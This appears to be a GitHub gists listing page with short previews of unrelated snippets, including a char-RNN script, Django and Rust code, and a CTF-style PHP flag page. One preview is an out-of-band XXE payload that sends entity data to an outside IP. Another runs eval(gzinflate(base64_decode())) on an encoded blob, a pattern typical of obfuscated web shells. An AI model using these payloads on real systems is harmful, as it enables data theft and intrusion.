This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
""" | |
Minimal character-level Vanilla RNN model. Written by Andrej Karpathy (@karpathy) | |
BSD License | |
""" | |
import numpy as np | |
# data I/O | |
data = open('input.txt', 'r').read() # should be simple plain text file | |
chars = list(set(data)) | |
data_size, vocab_size = len(data), len(chars) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class AutoBrAdmin(admin.ModelAdmin): | |
br_attrs = tuple() | |
def get_object(self, request, object_id): | |
obj = super(AutoBrAdmin, self).get_object(request, object_id) | |
for attr in self.br_attrs: | |
value = getattr(obj, attr) | |
setattr(obj, attr, value.replace('\r\n', '').replace('<br>', '\r\n')) | |
return obj |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var daumlogin = {}; | |
var daum = {} | |
daum.Browser = {ua:'mozilla/5.0 (windows nt 6.1; wow64) applewebkit/537.11 (khtml, like gecko) chrome/23.0.1271.95 safari/537.11'} | |
daum.Event = {} | |
daum.Event.addOrderEvent = (function () { | |
var a = {}; | |
return function (f, e, g, b) { | |
var h = null, | |
c, d; | |
if (!f) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::io::Write; | |
use std::io::Read; | |
use std::net::{TcpListener, TcpStream}; | |
use std::str; | |
use std::thread; | |
fn main() { | |
let listener = TcpListener::bind("127.0.0.1:9338").unwrap(); | |
println!("Echo Server!"); | |
for stream in listener.incoming() { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
if($_SERVER[REMOTE_ADDR]==$_SERVER[SERVER_ADDR] && $_GET['getflag']==1){ | |
mysql_connect("localhost","rpg2_flag","rpg2_flag"); | |
mysql_select_db("rpg2_flag"); | |
$q = mysql_fetch_array(mysql_query("select flag from flag_table")); | |
echo("FLAG=".$q['flag']); | |
} | |
else{ | |
mysql_connect("localhost","rpg2","rpg2"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!ENTITY % payload "foo"> | |
<!ENTITY % param1 '<!ENTITY % external SYSTEM "http://52.68.169.48/a?%payload;" >' > | |
%param1; | |
%external; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
function o0OO0ooooO0(OO0O00000O0){alert(OO0O00000O0);}function o0ooO000o0O(OOO0OoOOooo){confirm(OOO0OoOOooo);}var server_status = 'open'; | |
var host = document.URL.substr(document.URL.indexOf("//")+2); | |
host = host.substr(0,host.indexOf("/")) | |
refresh_tm = 500; | |
loading_bar = 0; | |
var logout = function(){ | |
location.href='game.php?m=logout'; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
eval(gzinflate(base64_decode("HJ3HjqNQGkbfZVYtsSCnJcnkbMCwGZFzzjz9ULNotdRdcgH3v993ThlT+RF3/8qnHoou3vJ/SbzmBPbfLE/HLP/3n0ZBpWZxmE79FZNfZOH4QePl59VuftVhYXAmQONAL7V9SANN5teYytVagw6WzroFfhTrNyvwyLIcJzvMH9inzvLteVChjq+eHiD1AKFvVfeInqoEEKjit9E0zuA+PyLagdI3hor4+dZTpyR59MtuIe1rh9DKdUz2xOtw6JMKKEH++n2FN7p2Lsq4Kc3jfr/QH3w5K9INnkv96FsVQNjT/4p70gZB8Lkebmm8sB+k0IPY0knV5ohcg1cXDVqLC0ylMgR9QkPMyoTOgsMnsRSnFSwLD0dzgea3r+Zo7EBiINhbIDgfILi8f1CwoaX7MF3WCymNLHWkTMG06wxOyieDDKs0DMeMTOdfdIed30c4wquRG36ajVVH5txbRKvzW8GHGg4V9Dd9iyBjakqFmzEYv6VSvYcZoI0D5oTWMCbljhibjRVgC32frixYz8epfUe1pS/QcgCGcgaUNK2EVJBQj39wgmCLALOsIvR0XeRaFstps+kGaOIsuw9yY89Wgzo5svzOKfloDijIn5S4SlvfWqk9qmnxYWpj8ovy0mPOeK/e23Zoq8R5FEyKf8JiWjmRZ+FSWBeJ6wWRivwVu93W0Vfq6qTy9X2bCxczk44Ev4D0dr3rPOmf+egejakg5hbMmvWIWjrL2hrk9L0W3jFTB3ngqlCRhiRddRaGAekVcCF40qaUjmXAYSWb53I/Ab4mYVmxmIiZF5uldsBvXMiLEE0cYkIjXUx1STVdbOyNtU9PGJPRa37QbVqDaTM2443cT/CQn63w0UE02jUYreRzhajs18yPeSy7fjIaD3K3m/RDmFjOHEg3N2qD0IM0Z8PMCa36+RwZhcmmRhLKadFf7QJETFfvaSzofFgq/ClzIwJsWbe3REKU29mzVn6EQAYSmWSB |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var Page = { | |
contextFetchers: { | |
}, | |
runContextFetchers: function(eventName) { | |
var contextFetchers = this.contextFetchers[eventName] || []; | |
var context = this; | |
var names = []; | |
$.each(contextFetchers, function(idx, callback) { | |
if($(names).filter(function(idx, obj){return callback.name == obj}).length !== 0) { | |
return; |
NewerOlder